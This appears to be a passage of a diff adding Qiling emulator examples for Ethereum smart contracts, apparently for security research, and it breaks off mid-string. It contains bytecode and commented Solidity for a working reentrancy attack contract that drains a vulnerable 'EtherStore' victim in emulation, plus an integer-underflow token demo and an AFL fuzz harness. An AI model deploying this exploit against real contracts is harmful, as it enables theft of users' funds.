contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
|
||||
ql = Qiling(code=contract, archtype="evm")
|
||||
ql.debugger = True
|
||||
|
||||
# Add Balance Var to the contract
|
||||
bal = ql.arch.evm.abi.convert(['uint256'], [20])
|
||||
contract = contract + bal
|
||||
|
||||
user1 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
user2 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
c1 = ql.arch.evm.create_account()
|
||||
|
||||
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
|
||||
ql.run(code=msg0)
|
||||
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
from qiling import *
|
||||
from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
|
||||
from qiling.arch.evm.vm.vm import BaseVM
|
||||
from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029'
|
||||
Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
|
||||
|
||||
ql = Qiling(code=Attack_contract, archtype="evm")
|
||||
vm:BaseVM = ql.arch.evm.vm
|
||||
|
||||
C1 = b'\xaa' * 20
|
||||
C2 = b'\xbb' * 20
|
||||
User1 = b'\xcc' * 20
|
||||
User2 = b'\xde\xad\xbe\xef' * 5
|
||||
|
||||
ql.arch.evm.create_account(C1)
|
||||
ql.arch.evm.create_account(C2)
|
||||
ql.arch.evm.create_account(User1, 100*10**18)
|
||||
ql.arch.evm.create_account(User2, 100*10**18)
|
||||
|
||||
EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
|
||||
|
||||
print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
|
||||
print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
|
||||
|
||||
code1 = bytecode_to_bytes(EtherStore_contract)
|
||||
print('\n------ Deploy DeFi contract')
|
||||
# 1. deploy EtherStore
|
||||
msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
|
||||
res = vm.execute_message(msg1)
|
||||
|
||||
res_code = bytecode_to_bytes(res.output)
|
||||
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
|
||||
rt_code = bytecode_to_bytes(runtime_code)
|
||||
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
|
||||
|
||||
print('\n------ Victim deposit Funds 20ETH to DeFi contract')
|
||||
# 2. User1 depositFunds 20ETH to bank
|
||||
call_data = '0xe2c41dbc'
|
||||
msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
|
||||
res = vm.execute_message(msg2)
|
||||
# print(res.output)
|
||||
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
|
||||
|
||||
code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
|
||||
# print(code2.hex())
|
||||
print('\n------ Deploy Attack Contract')
|
||||
|
||||
# 3. deploy Attack
|
||||
# ql.debugger = True
|
||||
msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
|
||||
res = vm.execute_message(msg3)
|
||||
# ql.debugger = False
|
||||
|
||||
res_code = bytecode_to_bytes(res.output)
|
||||
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
|
||||
rt_code1 = bytecode_to_bytes(runtime_code)
|
||||
|
||||
print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
|
||||
# 4. User2 pwnEtherStore with 1ETH
|
||||
call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')])
|
||||
# ql.debugger = True
|
||||
msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
|
||||
res = vm.execute_message(msg4)
|
||||
# ql.debugger = False
|
||||
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
|
||||
|
||||
print('\n------ Attacker steal Ether from DeFi contract')
|
||||
# 5. User2 collectEther
|
||||
call_data = '0xff11e1db'
|
||||
msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
|
||||
res = vm.execute_message(msg5)
|
||||
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
|
||||
@@ -0,0 +1,133 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
from qiling import *
|
||||
from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
|
||||
from qiling.arch.evm.vm.vm import BaseVM
|
||||
from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
|
||||
|
||||
|
||||
def template(vic_contract, deposit, withdraw):
|
||||
Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
|
||||
|
||||
ql = Qiling(code=Attack_contract, archtype="evm")
|
||||
vm:BaseVM = ql.arch.evm.vm
|
||||
|
||||
C1 = b'\xaa' * 20
|
||||
C2 = b'\xbb' * 20
|
||||
User1 = b'\xcc' * 20
|
||||
User2 = b'\xde\xad\xbe\xef' * 5
|
||||
|
||||
ql.arch.evm.create_account(C1)
|
||||
ql.arch.evm.create_account(C2)
|
||||
ql.arch.evm.create_account(User1, 100*10**18)
|
||||
ql.arch.evm.create_account(User2, 100*10**18)
|
||||
|
||||
EtherStore_contract = vic_contract
|
||||
|
||||
|
||||
print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
|
||||
print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
|
||||
|
||||
code1 = bytecode_to_bytes(EtherStore_contract)
|
||||
print('\n------ Deploy DeFi contract')
|
||||
# 1. deploy EtherStore
|
||||
msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
|
||||
res = vm.execute_message(msg1)
|
||||
|
||||
res_code = bytecode_to_bytes(res.output)
|
||||
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
|
||||
rt_code = bytecode_to_bytes(runtime_code)
|
||||
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
|
||||
|
||||
print('\n------ Victim deposit Funds 20ETH to DeFi contract')
|
||||
# 2. User1 depositFunds 20ETH to bank
|
||||
call_data = deposit
|
||||
msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
|
||||
res = vm.execute_message(msg2)
|
||||
# print(res.output)
|
||||
print('Victim balance: ', vm.state.get_balance(User1)/10**18)
|
||||
|
||||
code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
|
||||
# print(code2.hex())
|
||||
print('\n------ Deploy Attack Contract')
|
||||
|
||||
# 3. deploy Attack
|
||||
# ql.debugger = True
|
||||
msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
|
||||
res = vm.execute_message(msg3)
|
||||
# ql.debugger = False
|
||||
|
||||
res_code = bytecode_to_bytes(res.output)
|
||||
runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
|
||||
rt_code1 = bytecode_to_bytes(runtime_code)
|
||||
|
||||
print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
|
||||
# 4. User2 pwnEtherStore with 1ETH
|
||||
call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)])
|
||||
|
||||
msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
|
||||
res = vm.execute_message(msg4)
|
||||
# print(res.output)
|
||||
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
|
||||
|
||||
print('\n------ Attacker steal Ether from DeFi contract')
|
||||
# 5. User2 collectEther
|
||||
call_data = '0xff11e1db'
|
||||
msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
|
||||
res = vm.execute_message(msg5)
|
||||
print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
|
||||
c1_deposit = '0xe2c41dbc'
|
||||
c1_withdraw = '0x155dd5ee'
|
||||
|
||||
contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029'
|
||||
c2_deposit = ''
|
||||
c2_withdraw = '0x590e1ae3'
|
||||
|
||||
template(contract_1, c1_deposit, c1_withdraw)
|
||||
print('\n\n\n**************************\n\n\n')
|
||||
template(contract_2, c2_deposit, c2_withdraw)
|
||||
|
||||
|
||||
### genernal reentrancy poc ###
|
||||
|
||||
# contract Attack {
|
||||
# address victim;
|
||||
# bytes4 withdraw_id;
|
||||
|
||||
# constructor(address addr) {
|
||||
# victim = addr;
|
||||
# }
|
||||
|
||||
# function pwn(bytes4 deposit, bytes4 withdraw) public payable {
|
||||
# withdraw_id = withdraw;
|
||||
# // attack to the nearest ether
|
||||
# require(msg.value >= 1 ether);
|
||||
# // send eth to the depositFunds() function
|
||||
# victim.call.value(1 ether)(deposit);
|
||||
# victim.call(withdraw, 1 ether);
|
||||
|
||||
# //etherStore.depositFunds.value(1 ether)();
|
||||
# // start the magic
|
||||
# //etherStore.withdrawFunds(1 ether);
|
||||
# }
|
||||
|
||||
# function collectEther() public {
|
||||
# msg.sender.transfer(this.balance);
|
||||
# }
|
||||
|
||||
# function () payable {
|
||||
# if (victim.balance > 1 ether) {
|
||||
# victim.call(withdraw_id,1 ether);
|
||||
# }
|
||||
# }
|
||||
# }
|
||||
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
from qiling import *
|
||||
|
||||
|
||||
def example_run_evm():
|
||||
|
||||
contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
|
||||
ql = Qiling(code=contract, archtype="evm")
|
||||
|
||||
# Add Balance Var to the contract
|
||||
bal = ql.arch.evm.abi.convert(['uint256'], [20])
|
||||
contract = contract + bal
|
||||
|
||||
user1 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
user2 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
c1 = ql.arch.evm.create_account()
|
||||
|
||||
def check_balance(sender, destination):
|
||||
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
|
||||
msg2 = ql.arch.evm.create_message(sender, destination, call_data)
|
||||
return ql.run(code=msg2)
|
||||
|
||||
# Deploy runtime code
|
||||
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
|
||||
ql.run(code=msg0)
|
||||
|
||||
# SMART CONTRACT DEPENDENT: check balance of user1, should be 20
|
||||
result = check_balance(user1, c1)
|
||||
print('User1 balance =', int(result.output.hex()[2:], 16))
|
||||
|
||||
# SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
|
||||
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
|
||||
ql.arch.evm.abi.convert(['uint256'], [21])
|
||||
# print('Transfer Calldata Code: ' + call_data)
|
||||
msg1 = ql.arch.evm.create_message(user1, c1, call_data)
|
||||
result = ql.run(code=msg1)
|
||||
if int(result.output.hex()[2:], 16) == 1:
|
||||
print('User1 transfered 21 Token to User2')
|
||||
|
||||
# SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
|
||||
result = check_balance(user1, c1)
|
||||
final_balance = int(result.output.hex()[2:], 16)
|
||||
print('User1 final balance =', final_balance)
|
||||
# print(' also =', hex(final_balance))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
example_run_evm()
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import afl, os, sys
|
||||
from underflow_test import underflow
|
||||
|
||||
afl.init()
|
||||
|
||||
sys.stdin.seek(0)
|
||||
in_str = sys.stdin.read().strip()
|
||||
|
||||
if in_str.isdigit():
|
||||
fuzz_value = int(in_str)
|
||||
underflow(fuzz_value)
|
||||
|
||||
os._exit(0)
|
||||
@@ -0,0 +1,47 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../../../..")
|
||||
from qiling import *
|
||||
|
||||
|
||||
def underflow(fuzz_balance):
|
||||
code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b